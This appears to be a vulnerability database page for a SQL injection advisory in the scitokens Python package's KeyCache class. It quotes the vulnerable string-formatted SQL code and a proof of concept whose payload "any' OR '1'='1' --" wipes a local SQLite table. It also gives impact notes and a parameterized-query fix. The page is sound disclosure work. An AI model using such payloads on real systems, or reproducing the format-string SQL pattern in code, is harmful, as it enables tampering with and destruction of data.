PYSEC-2026-530

Vulnerability from pysec - Published: 2026-06-29 11:50 - Updated: 2026-07-01 20:23
VLAI
Details

Summary

The KeyCache class in scitokens was vulnerable to SQL Injection because it used Python's str.format() to construct SQL queries with user-supplied data (such as issuer and key_id). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.

Ran the POC below locally.

### Details File: src/scitokens/utils/keycache.py

Vulnerable Code Snippets

1. In addkeyinfo (around line 74):

curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))
 ```

**2. In `_addkeyinfo` (around lines 89 and 94):**
```python
insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                       '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,
                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))
 ```

**3. In `_delete_cache_entry` (around line 128):**
```python
curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer,
            key_id))

4. In _add_negative_cache_entry (around lines 148 and 152):

insert_key_statement = "INSERT OR REPLACE INTO keycache VALUES('{issuer}', '{expiration}', '{key_id}', \
                    '{keydata}', '{next_update}')"
# ...
curs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,
                                        keydata=keydata, next_update=time.time()+cache_retry_interval))
 ```

**5. In `getkeyinfo` (around lines 193 and 198):**
```python
key_query = ("SELECT * FROM keycache WHERE "
             "issuer = '{issuer}'")
# ...
 curs.execute(key_query.format(issuer=issuer, key_id=key_id))

PoC

``` import sqlite3 import os import sys import tempfile import shutil import time import json from cryptography.hazmat.primitives.asymmetric import rsa from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization

def poc_sql_injection(): print("--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---")

# We will demonstrate the vulnerability by manually executing the kind of query
# that WAS present in the code, showing how it can be exploited.

# Setup temporary database
fd, db_path = tempfile.mkstemp()
os.close(fd)

conn = sqlite3.connect(db_path)
curs = conn.cursor()
curs.execute("CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))")

# Add legitimate entries
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit1.com", int(time.time())+3600, "key1", "{}", int(time.time())+3600))
curs.execute("INSERT INTO keycache VALUES (?, ?, ?, ?, ?)", ("https://legit2.com", int(time.time())+3600, "key2", "{}", int(time.time())+3600))
conn.commit()

curs.execute(" SELECT count(*) FROM keycache")
print(f"Count before injection: {curs.fetchone()[0]}")

# MALICIOUS INPUT
# The original code was: 
# curs.execute("DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(issuer, key_id))

malicious_issuer = "any' OR '1'='1' --"
malicious_kid = "irrelevant"

print(f"Simulating injection with issuer: {malicious_issuer}")

# This simulates what the VULNERABLE code did:
query = "DELETE FROM keycache WHERE issuer = '{}' AND key_id = '{}'".format(malicious_issuer, malicious_kid)
print(f"Generated query: {query}")

curs.execute(query)
conn.commit()

curs.execute("SELECT count(*) FROM keycache")
count = curs.fetchone()[0]
print(f"Count after injection: {count}")

if count == 0:
    print("[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!")

conn.close()
os.remove(db_path)

if name == "main": poc_sql_injection() ```

Impact

An attacker who can influence the issuer or key_id (e.g., through a malicious token or issuer endpoint) could: 1. Modify or Delete Cache Entries: Clear the entire key cache or inject malicious keys. 2. Information Leakage: Query other tables or system information if SQLite is configured with certain extensions. 3. Potential RCE: In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using ATTACH DATABASE to write a malicious file).

MITIGATION AND WORKAROUNDS

Replace string formatting with parameterized queries using the DB-API's placeholder syntax (e.g., ? for SQLite).

Impacted products
Name purl
scitokens pkg:pypi/scitokens

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "scitokens",
        "purl": "pkg:pypi/scitokens"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "0.1",
        "0.1.1",
        "0.1.3",
        "0.1.4",
        "0.1.5",
        "0.1.6",
        "0.2.1",
        "0.2.2",
        "0.3.0",
        "0.3.1",
        "0.3.2",
        "0.3.3",
        "1.0.0",
        "1.0.1",
        "1.0.2",
        "1.1.0",
        "1.1.1",
        "1.2.0",
        "1.2.1",
        "1.2.2",
        "1.2.4",
        "1.3.1",
        "1.4.0",
        "1.5.0",
        "1.6.0",
        "1.6.2",
        "1.7.0",
        "1.7.1",
        "1.7.2",
        "1.7.4",
        "1.8.0",
        "1.8.1"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32714",
    "GHSA-rh5m-2482-966c"
  ],
  "details": "### Summary\nThe `KeyCache` class in `scitokens` was vulnerable to SQL Injection because it used Python\u0027s `str.format()` to construct SQL queries with user-supplied data (such as `issuer` and `key_id`). This allowed an attacker to execute arbitrary SQL commands against the local SQLite database.\n\nRan the POC below locally.\n\n ### Details\n**File:** `src/scitokens/utils/keycache.py`\n\n### Vulnerable Code Snippets\n\n**1. In `addkeyinfo` (around line 74):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n ```\n\n**2. In `_addkeyinfo` (around lines 89 and 94):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                       \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_timer, key_id=key_id,\n                                         keydata=json.dumps(keydata), next_update=time.time()+next_update))\n ```\n\n**3. In `_delete_cache_entry` (around line 128):**\n```python\ncurs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer,\n            key_id))\n```\n\n**4. In `_add_negative_cache_entry` (around lines 148 and 152):**\n```python\ninsert_key_statement = \"INSERT OR REPLACE INTO keycache VALUES(\u0027{issuer}\u0027, \u0027{expiration}\u0027, \u0027{key_id}\u0027, \\\n                    \u0027{keydata}\u0027, \u0027{next_update}\u0027)\"\n# ...\ncurs.execute(insert_key_statement.format(issuer=issuer, expiration=time.time()+cache_retry_interval, key_id=key_id,\n                                        keydata=keydata, next_update=time.time()+cache_retry_interval))\n ```\n\n**5. In `getkeyinfo` (around lines 193 and 198):**\n```python\nkey_query = (\"SELECT * FROM keycache WHERE \"\n             \"issuer = \u0027{issuer}\u0027\")\n# ...\n curs.execute(key_query.format(issuer=issuer, key_id=key_id))\n```\n\n\n### PoC\n ```\nimport sqlite3\nimport os\nimport sys\nimport tempfile\nimport shutil\nimport time\nimport json\nfrom cryptography.hazmat.primitives.asymmetric import rsa\nfrom cryptography.hazmat.backends import default_backend\nfrom cryptography.hazmat.primitives import serialization\n\ndef poc_sql_injection():\n    print(\"--- PoC: SQL Injection in KeyCache (Vulnerability Demonstration) ---\")\n    \n    # We will demonstrate the vulnerability by manually executing the kind of query\n    # that WAS present in the code, showing how it can be exploited.\n    \n    # Setup temporary database\n    fd, db_path = tempfile.mkstemp()\n    os.close(fd)\n    \n    conn = sqlite3.connect(db_path)\n    curs = conn.cursor()\n    curs.execute(\"CREATE TABLE keycache (issuer text, expiration integer, key_id text, keydata text, next_update integer, PRIMARY KEY (issuer, key_id))\")\n    \n    # Add legitimate entries\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit1.com\", int(time.time())+3600, \"key1\", \"{}\", int(time.time())+3600))\n    curs.execute(\"INSERT INTO keycache VALUES (?, ?, ?, ?, ?)\", (\"https://legit2.com\", int(time.time())+3600, \"key2\", \"{}\", int(time.time())+3600))\n    conn.commit()\n    \n    curs.execute(\" SELECT count(*) FROM keycache\")\n    print(f\"Count before injection: {curs.fetchone()[0]}\")\n    \n    # MALICIOUS INPUT\n    # The original code was: \n    # curs.execute(\"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(issuer, key_id))\n    \n    malicious_issuer = \"any\u0027 OR \u00271\u0027=\u00271\u0027 --\"\n    malicious_kid = \"irrelevant\"\n    \n    print(f\"Simulating injection with issuer: {malicious_issuer}\")\n    \n    # This simulates what the VULNERABLE code did:\n    query = \"DELETE FROM keycache WHERE issuer = \u0027{}\u0027 AND key_id = \u0027{}\u0027\".format(malicious_issuer, malicious_kid)\n    print(f\"Generated query: {query}\")\n    \n    curs.execute(query)\n    conn.commit()\n    \n    curs.execute(\"SELECT count(*) FROM keycache\")\n    count = curs.fetchone()[0]\n    print(f\"Count after injection: {count}\")\n    \n    if count == 0:\n        print(\"[VULNERABILITY CONFIRMED] SQL Injection allowed clearing the entire table!\")\n    \n    conn.close()\n    os.remove(db_path)\n\nif __name__ == \"__main__\":\n    poc_sql_injection()\n```\n### Impact\nAn attacker who can influence the `issuer` or `key_id` (e.g., through a malicious token or issuer endpoint) could:\n1.  **Modify or Delete Cache Entries:** Clear the entire key cache or inject malicious keys.\n2.  **Information Leakage:** Query other tables or system information if SQLite is configured with certain extensions.\n3.  **Potential RCE:** In some configurations, SQLite can be used to achieve Remote Code Execution (e.g., using `ATTACH DATABASE` to write a malicious file).\n\n### MITIGATION AND WORKAROUNDS\nReplace string formatting with parameterized queries using the DB-API\u0027s placeholder syntax (e.g., `?` for SQLite).",
  "id": "PYSEC-2026-530",
  "modified": "2026-07-01T20:23:04.757243Z",
  "published": "2026-06-29T11:50:44.789392Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/security/advisories/GHSA-rh5m-2482-966c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32714"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/commit/3dba108853f2f4a6c0f2325c03779bf083c41cf2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/scitokens/scitokens"
    },
    {
      "type": "WEB",
      "url": "https://github.com/scitokens/scitokens/releases/tag/v1.9.6"
    },
    {
      "type": "PACKAGE",
      "url": "https://pypi.org/project/scitokens"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-rh5m-2482-966c"
    }
  ],
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SciTokens is vulnerable to SQL Injection in KeyCache"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.